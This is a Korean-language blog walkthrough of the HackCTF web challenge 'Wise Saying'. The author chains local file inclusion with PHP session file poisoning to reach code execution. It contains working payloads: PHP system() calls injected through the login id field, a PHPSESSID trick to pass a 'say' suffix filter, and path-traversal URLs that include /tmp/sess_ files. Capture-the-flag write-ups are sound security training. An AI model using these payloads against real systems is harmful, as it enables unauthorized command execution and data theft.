• [Web] HackCTF Wise Saying

    2022. 3. 27.

    by. hackintoanetwork

    해당 url을 눌러 이동해보자.


    이동하였더니 로그인 창이 뜬다.


    아무런 값이나 넣어 로그인 해보았는데 로그인이 되었다.


    로그인이 되면 위와 같은 페이지가 나온다.

    1 부터 10까지 다 눌러본 결과는 다음과 같다.


    1. Slow and steady win the race.
    2. Everything will be done if you try hard.
    3. Success doesn't come overnight.
    4. Slow to resolute, but in performance quick.
    5. If the wind will not serve, take to the oars.
    6. Opportunity seldom knocks twice.
    7. No sweat, no sweet.
    8. Let your nose go in front, but don't always follow it.
    9. For having loved and lost, you are a richer person.
    10. If you don't walk today, you will have to run tomorrow.

    세로로 첫 글자만 읽으면 SESSION LFI이다.


    그리고 1번 링크를 눌러보면 위과 같은 URL을 지니고있다.

    ?page=1.say 부분을 이용하여 LFI 공격을 시도할 수 있을 것 같다.


    개발자 도구로 소스를 보았더니 phpinfo를 확인해보라는 힌트가 나와있었다.


    phpinfo로 들어가 session에 관련된 정보를 얻어보자.

    http://ctf.j0n9hyun.xyz:2036/index.php?phpinfo=1

    • sessoin.save_pathno value이므로 session.save_pathdefault 값을 갖게 된다. 검색해보니 default이면 /tmp 밑에 sess_SESSION 형태로 존재한다고 한다.
    • 결론적으로 http://ctf.j0n9hyun.xyz:2036/index.php?page=/tmp/sess_<PHPSESSID>로 접속하면 세션 파일의 내용을 읽을 수 있다.

    한 가지 필터링을 통과해야 하는데,index.php에서 page 변수에 "say"로 끝나지 않는 값이 들어가면 Fuck hack이 뜬다.

    이것은 EditThisCookie를 사용하여 PHPSESSID를 미리 "say"로 끝나는 임의의 값으로 설정해 놓고 로그인 하면 해결할 수 있다.


    id에 <?php system("ls -al"); ?>을 넣고 로그인하면 세션 파일의 내용이 출력될 때 ls -al 명령이 실행되어 RCE(Remote Code Excution)가 가능하게 된다.


    http://ctf.j0n9hyun.xyz:2036/index.php?page=../../../../../tmp/sess_c641e49e5a5325d2c28127552e76b3bfsay

    로 이동해보자.


    이동하면 위과 같은 출력 값이 나타난다. 


    출력 값 중에서 이 파일에 Flag가 있을 것 같다. 이 파일을 열어 보기 위해 다시 로그인 페이지로 돌아가보자.

    http://ctf.j0n9hyun.xyz:2036/login.html

    이번에는 id 부분을 <?php system("cat f14g__NGA); ?> 로 바꾸어준다.


    다시 로그인 버튼을 누르고

    http://ctf.j0n9hyun.xyz:2036/index.php?page=../../../../../tmp/sess_c641e49e5a5325d2c28127552e76b3bfsay

    로 이동하면 아래와 같이 Flag가 정상 출력되는 것을 볼 수 있다.

    Flag : HackCTF{s3ssi0n_f1l3_1fi}

     

     


    Web All Clear!


     

     

     

    HackCTF

    Do you wanna be a God? If so, Challenge!

    ctf.j0n9hyun.xyz

     

    'Wargame > HackCTF' 카테고리의 다른 글

    [Web] HackCTF Authenticate  (0) 2022.03.27
    [Web] HackCTF LOL  (0) 2022.03.26
    [Web] HackCTF Cookie  (0) 2022.03.26
    [Web] HackCTF Home  (0) 2022.03.24
    [Web] HackCTF Input Check  (0) 2022.03.24

    댓글